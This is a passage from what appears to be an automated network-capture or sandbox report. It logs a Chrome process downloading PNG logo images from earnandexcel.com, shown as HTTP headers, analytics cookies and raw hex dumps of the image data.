bd 2c c2 ce f7 11 1a 3f c1 27 5a 1b Data Ascii: ',X"{)?t=$+DlwZ05p~C^s)?`d`&89/{.g?/.a.7s{}OXE@1Gv,vn~7!gqM\|z& ;8,7~9OxF;}X&P(Af v,?'Z
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: d5 77 79 ce 54 0c b3 9a f8 be 42 63 2d b6 12 0a 22 12 5e d1 2e c2 09 96 b1 8e ca a7 12 2a 70 93 63 0f 95 e4 0f 51 ae ae 63 61 dd c3 5a a2 ed dc ba 7d fb 42 b3 2b 57 13 98 fe c7 49 b7 a0 39 fd 60 84 8f 85 2d 93 9f e3 9f 5f d1 c2 ec be 65 90 45 4d 10 13 21 8b f9 ab 99 c2 a8 da b5 a2 bd fa 9e 8b 27 b6 ff ad 6f 7d 4b a4 85 96 06 11 68 3b be 92 68 d4 14 90 94 c0 d5 0a 5a 58 1a d3 9a 2b cd 49 fb 49 20 1a 6f e5 25 9e a1 7f 0b af 80 30 f8 20 27 e2 6f ca 04 9d 68 d1 70 3a 85 33 6b f6 08 23 ec 8f 6e ae d5 2f 41 a1 7d 29 20 c9 45 81 81 ea ba cc df b8 73 ca df f9 ce 77 a2 9f fa 3e df 6f a5 27 24 cd bf 30 97 09 5b 83 96 cf 2a 34 09 c0 84 98 14 13 1a 71 e2 f1 04 41 a6 38 8d 2b 65 89 1e 7c ae 6a 0e c1 2f c2 4e c8 8c 0d 34 d5 4f a9 88 b6 68 6f 1f f5 36 85 a6 05 5d 4c 5a Data Ascii: wyTBc-"^.pcQcaZ}B+WI9`-_eEM!'o}Kh;hZX+II o%0 'ohp:3k#n/A}) Esw>o'$0[4qA8+e\|j/N4Oho6]LZ
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: d1 0e a3 97 73 0d 05 07 d0 d0 d8 09 46 16 8c e5 7b e3 1b df 48 98 cc 61 87 96 9f ab 64 6a 2b 42 82 59 d6 bf 2a f6 0a 2c 45 eb b6 c5 42 73 eb f2 da d7 be d6 e6 37 7e 5f fd f9 4c a1 7c bc 42 13 c1 58 1c 0c 64 21 69 11 4c 92 a5 41 a8 76 0e 62 84 fa 6e 03 54 44 13 d5 02 dd 62 ec 76 19 e6 13 10 38 96 26 06 c9 ef 21 a8 84 2d 0c ac 05 a7 30 5a 5b 7c 8d c9 4f 41 00 56 03 e1 6d aa 12 9d 61 3d 30 0f 06 25 9c e5 61 52 06 a0 13 a1 31 c7 04 19 33 60 f4 5a 8c ce 61 37 76 fe 16 cb 20 22 46 a8 1b db 95 85 cf 7f 0a 36 51 34 29 0f 74 30 97 a0 25 a1 17 4d e3 38 1f 66 ea 6b a1 01 d9 f5 b7 be f5 ad fa 11 25 33 17 35 80 34 fa d4 f6 b3 af 67 f5 67 b5 60 7b d6 41 f8 9e d5 45 77 74 b3 be 68 47 81 75 44 d7 14 08 91 52 d6 17 0d 53 32 f9 38 e8 63 4d f0 ca e3 15 1a 83 4f 73 7e ff fb Data Ascii: sF{Hadj+BY*,EBs7~_L\|BXd!iLAvbnTDbv8&!-0Z[\|OAVma=0%aR13`Za7v "F6Q4)t0%M8fk%354gg`{AEwthGuDRS28cMOs~
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 80 16 4c 95 70 30 89 d0 54 56 82 e9 fd 8d a9 67 c4 6c 56 a5 66 65 c2 bc 39 bb 59 27 55 c2 b3 cd bc 90 84 9f f2 75 45 9c 39 ec 1a 82 56 1e 3f f7 ec 10 22 c1 81 84 3d a6 a8 cf e0 42 75 73 14 01 68 65 3e f9 69 31 f2 66 78 70 0f 73 a3 03 26 31 f7 92 a7 ed 22 24 38 16 5d 54 08 4c a9 bc 67 9f 3f cd 32 55 e0 5a 00 80 e0 fb 1d 63 11 fc 98 ae fb 62 58 10 c7 69 30 c6 4c 09 11 da 8e 54 42 af 02 25 9d ea d2 d9 0d 1b 92 d6 f8 78 42 ef 9e 09 7a ab 28 e0 d4 5b 2f c2 3f 5f 81 32 7d 2a e3 28 45 50 04 b5 35 e8 2c 07 f7 f9 5d bf 92 ae 98 7e 23 11 02 05 12 7b 1e 24 03 ea 49 c2 9a db 67 3e f3 99 f6 0e 29 89 02 8b 1d 4f a5 9a 82 60 99 87 b9 3d a8 d0 c4 24 7b 5b ac d8 bf 89 57 2e 43 cb f2 25 2c 14 06 43 64 a6 fa 9a 10 da 0f 81 39 11 75 66 8a 11 4a 74 27 08 91 a0 65 05 24 33 31 Data Ascii: Lp0TVglVfe9Y'UuE9V?"=Bushe>i1fxps&1"$8]TLg?2UZcbXi0LTB%xBz([/?_2}*(EP5,]~#{$Ig>)O`=${[W.C%,Cd9ufJt'e$31
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 2f b4 23 77 55 1b b7 4d a1 e7 b7 d9 ac 33 05 04 3c aa 6f 4b ab 1b 83 ff cf 8a 67 51 25 cc e3 ba 99 8f 32 7e c2 07 52 6f a8 0d 26 83 c4 98 14 c3 c6 f0 e6 c2 aa 6c 94 c1 0a b0 08 ad 83 ff 53 4a ee 03 b7 f3 c7 f2 6d ad 1d 7a 12 b4 f9 ca 8b 1a 9f 97 92 45 03 9f aa 3c d0 36 b8 55 68 dd 9b 0e 12 ec ca b4 5c 4b 89 ef ad d8 e8 fc 70 42 b3 1d e7 42 cd 06 3b fd 11 02 13 a1 4c cc 35 bb cd 5d 79 88 1b 91 32 b5 39 e1 a0 82 1a 32 d0 00 b4 e0 13 20 ac bf 77 2c 9f e0 60 bc de 93 92 a6 c6 54 18 d9 73 08 e1 f6 8f 44 b4 8c fb 95 af 7c 25 4d 05 2e a6 65 db d5 49 43 76 b6 18 a8 25 ea 63 e1 58 14 d7 94 f4 cc 1f 73 0f a1 b7 c7 c5 7d 98 87 03 3d 37 eb 6d c8 0b 32 d1 9c 59 37 63 68 03 9f 39 89 8a b1 5a 93 79 44 9c 08 33 41 73 7d 4e 31 3a 4c 81 ac 44 05 73 61 dc 79 4a 4e a7 f0 98 Data Ascii: /#wUM3<oKgQ%2~Ro&lSJmzE<6Uh\KpBB;L5]y292 w,`TsD\|%M.eICv%cXs}=7m2Y7ch9ZyD3As}N1:LDsayJN
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 6a c4 4c c3 58 54 93 3f 3a de 27 66 9a 8c 0e 26 59 08 59 6c 7e 00 98 51 88 b6 6b b6 b6 2e b4 b8 17 a4 0a 68 cc 25 83 0f 5e 80 0f 30 39 ad 4b f0 b6 53 be 99 b9 52 0d f7 1a 0f 5f a7 31 77 8f 2c bb 6b 2c 22 a8 6a 61 31 c3 51 d5 ef 1c eb 3e 84 9d b6 ec 08 a7 4e ae 49 8b a3 e5 b4 b2 18 99 90 51 2c ed e0 14 f5 63 7d 8e a0 34 f8 e4 1a 1f bf 07 5f 08 06 a6 2e a4 cd 57 20 fc e6 b1 4b f2 f3 c9 e4 64 14 46 52 1e fc 8d b6 68 5b ab fc af 8a 54 09 7e 07 ac ef 43 e8 73 fe 3b 8b b9 24 6e d1 3b d6 de 3c e3 13 56 87 5f 04 3d b0 fc e5 b3 cc 5b 9f f1 87 80 8b fb f9 4f ad ad 9f 0f 26 34 1e be 19 0d 1e b6 b0 45 ac f2 23 aa 48 55 bf 34 85 65 0b cf 7d 8f 35 f5 bc 32 ff c1 ba a3 13 fc 23 92 cf 0e 91 df 75 26 73 cf d9 fd 75 ed 61 1f fa ef 53 5b fd 1d fe bd fd 0d 61 e4 72 18 95 9b Data Ascii: jLXT?:'f&YYl~Qk.h%^09KSR_1w,k,"ja1Q>NIQ,c}4_.W KdFRh[T~Cs;$n;<V_=[O&4E#HU4e}52#u&suaS[ar
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 1a f9 a1 6d 65 88 81 7b d5 05 1f a4 eb d0 93 4f e4 c8 5a da 9c 70 ef 53 3b 31 b7 10 75 56 d2 b3 2b 9d 81 36 1c a4 c2 da 77 24 2d 7a 55 8d 9d 2f d3 4e 5d 3f 1d db 44 11 f0 c1 7c 47 c8 3a 0b 3c f8 2f e8 a0 5f d0 1a 2a 10 31 43 9f b9 23 77 43 f4 07 13 9a 84 24 a2 61 e4 18 40 14 cd 04 4c 1c 51 aa 2a c6 7c 16 5f b0 80 6f 20 66 bf fd 0c 7f df f7 d8 db 84 8c e9 ee 74 12 d5 ad 98 0b 23 80 51 98 d8 58 2c 10 ed d4 d9 cd c6 55 a9 4b c9 34 8c 9a b0 6f a1 c9 ea 54 44 5a 48 3d ab 94 40 b5 4f bd 7d ec 34 2f e8 76 f5 0c b1 bd cd 22 bf a0 d3 27 e7 e1 1d 9d 7c e3 6f 8c 52 4b 91 8c 6d ca aa 26 58 40 79 14 61 e6 ce 95 db 3e 0a c5 a2 cf 2a 30 7a 4f 67 0c cd 22 40 0f ae d1 17 21 10 54 48 60 77 9e 4c 74 af cd 86 9d c0 e3 a7 b1 10 3a f9 1f eb 42 00 aa ae e8 dc 83 b6 c9 47 67 34 Data Ascii: me{OZpS;1uV+6w$-zU/N]?D\|G:</_1C#wC$a@LQ\|_o ft#QX,UK4oTDZH=@O}4/v"'\|oRKm&X@ya>*0zOg"@!TH`wLt:BGg4
2024-04-11 21:26:49 UTC	391	IN	Data Raw: 8f 57 9f 12 99 f3 7f 68 b4 91 09 ff 93 4f cb a7 cc bf 4b e8 e7 8b b6 58 51 c2 62 6d f6 9b a6 db 2a fe 38 85 26 66 ab a5 f9 97 b6 42 bc 5d d0 e8 13 a4 72 df 26 8a ef 36 b1 a6 86 0e 32 6c 21 59 ef 5a 39 6c 09 8e e7 4f 66 e9 59 47 04 5f e7 ac 1d f7 b9 69 51 35 33 df 66 1f 08 b2 33 fb fb c4 ff e7 69 bb aa 7c 27 5d 6b 6b 1c 25 4c 9f 76 b8 ca 86 46 e8 b7 e7 db 35 f9 1c 29 51 8a 75 2a 8e c3 ca f1 da 81 15 6d e7 a7 be fc 7c dc 96 66 57 f5 d6 0e b4 f4 7d 26 b3 35 59 8b 14 33 6c 08 b2 09 5e db f5 6d 39 c9 d7 82 01 3e bb 0a fb ae da b7 ac e0 b4 5a 69 ce 98 23 c1 dd 0a a5 be fb ae 31 4e 25 51 df fd de f1 53 ab 3a fb d0 1a 34 f7 0d 4d 27 e3 6f 4b e0 da 6d b9 fa dd e7 a8 80 76 0b eb b5 35 d8 50 ad fb 77 3d db 7d 4a 61 a2 bb 9f 8f 5b 68 ce 76 b6 c7 de 4e a1 39 db d9 4e Data Ascii: WhOKXQbm8&fB]r&62l!YZ9lOfYG_iQ53f3i\|']kk%LvF5)Qum\|fW}&5Y3l^m9>Zi#1N%QS:4M'oKmv5Pw=}Ja[hvN9N

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
159	192.168.2.17	49905	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:49 UTC	919	OUT	GET /wp-content/uploads/HSBC.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801
2024-04-11 21:26:49 UTC	905	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:49 GMT Content-Type: image/png Content-Length: 7115 Connection: close CF-Ray: 872e0e9f19d18c4e-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df32ef-1bcb" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:23 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n2mJXgEE5qiBnBbH0QoluXOrhIcy3VH7aqQOKEuu%2BBmtTm%2BnKiaf0PEUE3LNjAuZFwOrtth7vBElzKbFhBkN1qHv3vOuKLym%2BLYK0ZLdX4VtIUWdpw6FU%2FxzlbkjuUEPXvA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 cd 00 00 00 37 08 06 00 00 00 af b5 ce 16 00 00 1b 92 49 44 41 54 78 da ec 99 05 a8 95 4b 10 c7 af dd 89 dd 85 0d 8a 09 3e bb bb bb bb 03 03 5b c1 4e 6c 2c b0 bb 13 bb 15 b1 0b 03 1b 13 bb bb e6 f1 5b 98 c3 b2 27 ee bb ef 5c 41 e1 0c 2c 5f 6d cc cc ce 7f 66 76 be 30 09 51 88 42 14 21 0a 93 10 85 28 44 21 d0 84 28 44 21 d0 84 28 44 7f 10 85 40 13 a2 10 fd 1f d0 fc fa f5 4b 7e fe fc 69 ae d0 97 2f 5f cc 33 f4 fd fb 77 81 be 7e fd ea 79 f7 e3 c7 0f cf 55 c7 f3 5d c7 86 47 6f de bc 11 97 98 fb db b7 6f 9e 35 3f 7d fa 24 2e b9 73 db bc d3 18 c7 1c dc c3 9b 4d bc e7 9d f6 b3 c9 7e e7 f6 85 f4 ea 83 1f 9f 73 d9 f7 1f 3e 7c 50 d9 90 49 79 66 1c cd 4b 16 e6 d4 31 b6 7c f6 f7 00 a4 f2 fb 7c cf 7a ec 53 b0 64 Data Ascii: PNGIHDR7IDATxK>[Nl,['\A,_mfv0QB!(D!(D!(D@K~i/_3w~yU]Goo5?}$.sM~s>\|PIyfK1\|\|zSd
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 81 e1 00 28 ed 03 bf 46 c6 5b b7 6e 01 3e e6 c1 c0 f0 fe 91 1a 6d dc c8 09 b1 07 8d 1a 35 c2 39 21 17 fa 84 47 63 e8 95 2b 57 36 7b d5 b4 69 53 69 d2 a4 49 50 8d 39 58 87 ac a5 7d fb f6 3c a3 77 03 96 66 cd 9a a9 6d 92 c5 98 b5 77 ef de 6d 03 fd f7 14 02 10 98 a6 84 d2 f1 68 b9 72 e5 32 1b d3 a0 41 03 61 9c 2a 4d bd 2a f7 f6 41 54 ab 1a bc e7 59 99 c6 1b 02 16 8c 1e 00 00 20 36 da 4e 2b f4 70 cb 38 dd 90 92 25 4b aa 71 60 3c 78 56 0c cc 63 08 f6 21 1c 7a fa f4 a9 f4 e9 d3 c7 36 3c 22 4a c0 73 09 06 9f 24 49 12 8c cf 18 69 e6 cc 99 89 92 36 08 bc 8a 05 a4 01 9d 3b 77 d6 08 0a d8 48 5d ed 83 af 9d 36 e9 b3 17 80 30 74 d2 43 f4 62 f3 8c b7 06 b8 a7 4e 9d 12 7f 74 e6 cc 19 c0 44 7f 1c 1b d1 8f c8 69 a2 6f c6 8c 19 cd 99 2f b2 88 7d 71 9d e5 e9 d3 a7 a5 77 ef Data Ascii: (F[n>m59!Gc+W6{iSiIP9X}<wfmwmhr2AaMATY 6N+p8%Kq`<xVc!z6<"Js$Ii6;wH]60tCbNtDio/}qw
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 59 10 9e c9 f0 26 69 78 ad 8c 55 70 b4 67 ad af 62 30 de c7 04 00 a6 d8 52 e3 99 5e c7 e6 b5 49 d2 04 1c 04 fa f2 e5 4b 2a 49 73 bd 2b ea 9f 5a d9 ff 18 fd a4 0a 8e 8d a0 49 0d c4 8d eb 23 6c ff 17 3e 28 56 e4 bb c5 ab ea a3 d8 9d 7e b8 84 03 0c c9 93 cd 02 3c ae 5c cc ee d9 40 68 31 1b a6 36 24 72 cf 15 00 06 62 df 4f 05 74 8f 7e ed 91 e7 50 19 db cb f6 f3 f9 82 a6 8d b2 e0 02 66 dc b8 a9 68 3c 5a 6c 06 c1 d7 4b b9 62 da 0a 40 d7 f7 ef df c5 74 8e 00 cd a5 b4 20 dc 1d 00 78 f8 8c d9 dc c4 ba 10 cd 54 1f e9 f6 de b7 ae 80 e3 5e 34 bb f7 1b 57 04 e1 75 2b 68 22 5a 7d 50 51 b8 b2 b3 a7 1e eb 5e 46 a8 b8 b5 d8 10 22 44 e8 24 0c 42 24 6d 10 33 c2 5e 41 33 c1 df 1c 0a 54 a3 25 aa 16 c0 e8 4f 1f fa ce ae 01 44 f7 9e 49 f5 03 d4 6c 98 99 6c db df a9 c0 24 0d 9b Data Ascii: Y&ixUpgb0R^IK*Is+ZI#l>(V~<\@h16$rbOt~Pfh<ZlKb@t xT^4Wu+h"Z}PQ^F"D$B$m3^A3T%ODIll$
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 93 38 6c 1b 4e 2e 69 41 4c 00 05 87 a3 19 e7 a3 d4 33 39 3c 22 eb c4 1a fb 86 18 b7 50 bc 27 54 37 06 f9 d5 cb 24 48 18 80 c1 6d 81 4d a5 df 68 33 b1 d1 06 64 7c 4f 11 af 20 4e 7f 08 11 a1 93 34 08 13 f1 73 62 e0 92 ea 6c b6 48 1a 0e 00 f3 2d 4a 0f d0 9e 39 0f d4 08 84 de 07 dc b5 ae 05 98 d8 56 c0 3d 6d 21 c4 c0 7b 18 23 02 18 e0 e6 21 7c 12 ea 19 b7 3c c9 8f 59 22 1e 80 a0 ee 9a 23 c2 da 09 9a 59 6f 35 f7 9b d7 4b d0 53 20 9a 2a 3b cf 7b d8 0b 1a 1e 4e f3 30 7e 80 f1 0a 2c de 67 47 61 7c 02 ea 9e 3d 99 d8 e3 1d 01 1f 3e 7c b0 28 93 70 b7 ea 9b f4 56 81 3d 00 ac 12 b4 42 a1 6a 71 52 c5 26 70 66 63 5b 25 3a 05 41 f9 fb f5 87 80 11 64 75 3b fe e7 3d 1c eb 16 68 70 7f aa 57 76 8d b1 f5 b9 79 52 4d fd b0 79 b8 91 01 b4 4c 00 0c 41 a5 ea 7c 06 95 96 7a 07 34 Data Ascii: 8lN.iAL39<"P'T7$HmMh3d\|O N4sblH-J9V=m!{#!\|<Y"#Yo5KS *;{N0~,gGa\|=>\|(pV=BjqR&pfc[%:Adu;=hpWvyRMyLA\|z4
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: fa 3c 04 34 5c c7 a4 86 e7 75 e2 a7 0d 9c 95 9e da b7 6f df 92 32 1c 15 9e c9 db 26 17 6f 1a b9 c6 78 8f 94 e9 68 5b 69 4f ec 10 e0 b9 07 34 ae b9 46 f6 a5 be 1d 78 82 20 a9 67 a5 a3 90 34 80 c0 a6 99 60 a3 72 b2 8b d8 26 ab d1 5f 12 65 aa 59 f9 60 40 43 e2 54 15 9a 41 4f 25 64 e3 00 0e 9a a0 aa 4d fb 2f 47 00 bb a5 e7 e4 72 06 b6 0c fe 2a 7e 9b e3 f3 95 34 63 f0 16 ac a3 70 b7 6c 7c c4 d5 bd cd 2c 76 e2 d5 a6 26 b5 a6 f1 78 88 4d 83 70 ac 57 f6 0c 97 b7 ec ec da 90 1a 36 93 fd 63 4d 4a c9 e1 a5 a2 2a 4e f5 c6 fd 3d 2a 2a ee 6f 1c a5 f5 6c 01 de 3c c8 c3 df f5 37 55 44 27 8f 72 d7 92 1c 6c 19 9c 9d 4a e5 33 73 3c b2 0c cc ab fa 16 ea 5c 52 06 e8 fc 5d 21 1b e0 74 82 66 91 7b ff 4f 1a 01 4e aa 1a 1b 07 73 98 f4 07 50 b4 94 e2 3e a5 cf a4 aa b6 fe 2b 33 b8 Data Ascii: <4\uo2&oxh[iO4Fx g4`r&_eY`@CTAO%dM/Gr~4cpl\|,v&xMpW6cMJN=**ol<7UD'rlJ3s<\R]!tf{ONsP>+3
2024-04-11 21:26:49 UTC	270	IN	Data Raw: 23 8e 6b dc b7 f7 e7 29 89 1d ac 31 03 65 8d 69 ba 47 7b 7f 06 2e 27 a7 9f 9c bd cf cd 03 e7 ba bf 74 ae 71 44 ee 73 2b 60 ae 71 e8 ee 27 a1 7b de a5 67 cc 71 4e 26 d5 f3 9b 63 6b 3c 3d 6a 47 da 33 0f 49 c7 d4 f0 6b b6 94 ef ed b9 d6 a3 80 03 a6 96 23 e4 56 d0 7b 3f 68 66 3e 57 00 a8 91 36 33 1b 58 1b c0 9a 0b 3a 37 72 fe 0c b8 d7 09 98 29 45 26 b0 56 bf fa ac 00 ec 33 93 b8 26 08 e7 d8 cb a4 9e bf a2 3c d7 a1 05 9d c5 67 93 88 e6 3c 00 fe ea 8f b9 ce bf a7 07 72 4a b1 d1 72 80 dc 63 b0 1f 69 d3 04 f8 82 98 d9 6f ae 9e 3b 0f 7e 3c 4a b2 cc bf 6f fe 78 6f f7 fb 25 cd d9 ce 76 b6 b5 9d a0 39 db d9 4e d0 9c ed 6c 17 db 09 9a b3 9d ed 49 b6 13 34 67 3b db 09 9a b3 9d ed 04 cd d9 ce f6 a4 da 09 9a b3 9d ed 04 cd d9 ce 76 82 e6 6c 67 7b 52 ed df 45 f6 a1 99 bb Data Ascii: #k)1eiG{.'tqDs+`q'{gqN&ck<=jG3Ik#V{?hf>W63X:7r)E&V3&<g<rJrcio;~<Joxo%v9NlI4g;vlg{RE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
160	192.168.2.17	49906	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:49 UTC	1172	OUT	GET /wp-content/uploads/TRANSPORT-FOR-LONDON.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801
2024-04-11 21:26:49 UTC	903	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:49 GMT Content-Type: image/png Content-Length: 8412 Connection: close CF-Ray: 872e0e9f482743e6-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df32ee-20dc" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:22 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ijc%2BLWg4YkyFeYDH03678bNdzi00Lb9Q70DjWXq0i0egjv67xOspbAy2SVCWrJ7J9Ns6KM6yp%2FATKUL6S4i5PR4kIFuFtH3KeoezU15Nlh%2BVh0dvhoGjDpqA4aqxcaq1EPg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 cd 00 00 00 5f 08 06 00 00 00 4b 12 43 21 00 00 20 a3 49 44 41 54 78 da ec 99 47 48 5e 4b 14 c7 25 10 08 21 c9 23 09 e9 bd 11 d2 0b e9 3d a4 41 c0 b2 10 c1 82 05 0b 16 ec 88 82 8a 28 e2 4e 44 5d b8 53 50 d1 85 a2 58 40 6c 0b c1 85 ba 11 37 8a 22 82 60 c5 de bb e7 f1 3f 70 e0 3a 18 f5 85 c7 e3 7b e6 fc 61 f8 be 3b 7d e6 ce 6f ce 99 b9 76 a4 52 a9 fe 91 ec 48 a5 52 29 34 2a 95 42 a3 52 d9 90 14 1a 95 4a a1 51 a9 14 1a 95 ca a6 a4 d0 a8 54 0a 8d 4a a5 d0 a8 54 36 25 85 46 a5 52 68 54 2a 85 46 a5 b2 29 29 34 2a 95 42 a3 52 29 34 2a 95 4d 49 a1 51 a9 14 1a 95 4a a1 51 a9 6c 4a ff 29 34 9b 9b 9b 3b 06 d1 dc dc 1c 07 d1 da da 1a 6d 6c 6c 58 eb c1 33 7e 7f d9 ce ea ea 2a 2d 2d 2d d1 f2 f2 32 3f ab 54 fb 12 Data Ascii: PNGIHDR_KC! IDATxGH^K%!#=A(ND]SPX@l7"`?p:{a;}ovRHR)4BRJQTJT6%FRhTF))4BR)4MIQJQlJ)4;mllX3~*---2?T
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 70 b1 d8 82 7c fa f4 89 a1 b9 7a f5 2a e0 e0 34 57 57 57 1e 78 76 76 36 65 66 66 52 7a 7a 3a a5 a4 a4 f0 4b 72 70 70 c0 05 01 80 02 24 6c 6d 3e 7c f8 40 8e 8e 8e 62 b5 b8 8d 1b 37 6e 70 1b a5 a5 a5 d6 33 80 ec 7e ff 0a 34 47 8e 1c a1 43 87 0e 01 50 00 cd cf c7 8e 1d c3 33 fe 63 83 40 ff 79 c7 8b 8e 8e 26 3b 3b 3b 3a 75 ea 14 9d 3d 7b 96 cb 1d 3c 78 90 c7 91 91 91 61 9e 0d b6 b8 2b 21 21 21 74 e0 c0 01 94 c7 62 e1 f6 4d d7 23 2b 2b 8b 17 fc 5f 7f b7 77 ef 2c b2 55 4d 18 80 11 45 11 03 0d fc 0d 62 ee 3f 30 52 34 51 11 4d 4c 4c 4c 0c 45 d0 40 04 11 af 88 81 8a 57 d0 40 50 41 30 51 8c 54 14 35 f0 82 78 01 41 44 39 27 3b 7f a2 3f 9e 05 2f 14 c5 ee e9 9e e9 9e 33 3d 9f ab 60 d3 d3 bb f7 5e 7b 5d ea ad 7a ab d6 5a 7b ae bf 7e 75 f7 dd 77 0f eb 4e 6a 7b 7f fb ed Data Ascii: p\|z*4WWWxvv6effRzz:Krpp$lm>\|@b7np3~4GCP3c@y&;;;:u={<xa+!!!tbM#++_w,UMEb?0R4QMLLLE@W@PA0QT5xAD9';?/3=`^{]zZ{~uwNj{
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 61 39 17 af 11 13 c8 00 ea 0b 9e 42 fd 28 2a 0b 6f b0 63 91 6b 8a 55 1f 8a 65 94 09 68 ea 2b 6b e5 3e 9f 55 09 c5 0d e8 9f 18 82 fc f8 e3 8f 8c 16 85 76 2d e0 68 ab b8 6f f4 c5 97 5f 7e 19 a5 f6 29 2e 43 d1 58 7f 14 49 df 8d c9 e2 08 4f c3 a3 f0 20 b2 68 62 37 d4 9a 97 f4 9c 3f ff fc 53 fd c5 5c 40 63 7c 2b 60 a2 ec f1 12 e2 13 ec 60 78 a5 1f 7e f8 c1 29 34 5a dd d4 11 7d 67 f4 92 f0 51 9e fb 2b 3d 3b 9f a0 59 a3 c0 2c 9d 86 ea 14 99 2d 56 42 27 e8 5c 8a c3 8d 66 c0 48 5d ce ef c8 16 80 6d 36 b1 d5 79 11 65 72 fb 02 66 99 33 75 00 1a 07 00 a3 10 14 67 a9 de 9d 06 9e 08 34 14 a0 83 26 83 ac cd c0 4c 21 d0 53 de d6 77 e7 63 6c d4 2d d9 2e ca 95 7a b3 da 24 34 10 90 04 fd 28 56 94 51 42 82 07 a2 b4 24 de d7 33 64 95 fc ad 7f 8c 03 c3 65 ad 5f 5d 24 1b da f4 Data Ascii: a9B(*ockUeh+k>Uv-ho_~).CXIO hb7?S\@c\|+``x~)4Z}gQ+=;Y,-VB'\fH]m6yerf3ug4&L!Swcl-.z$4(VQB$3de_]$
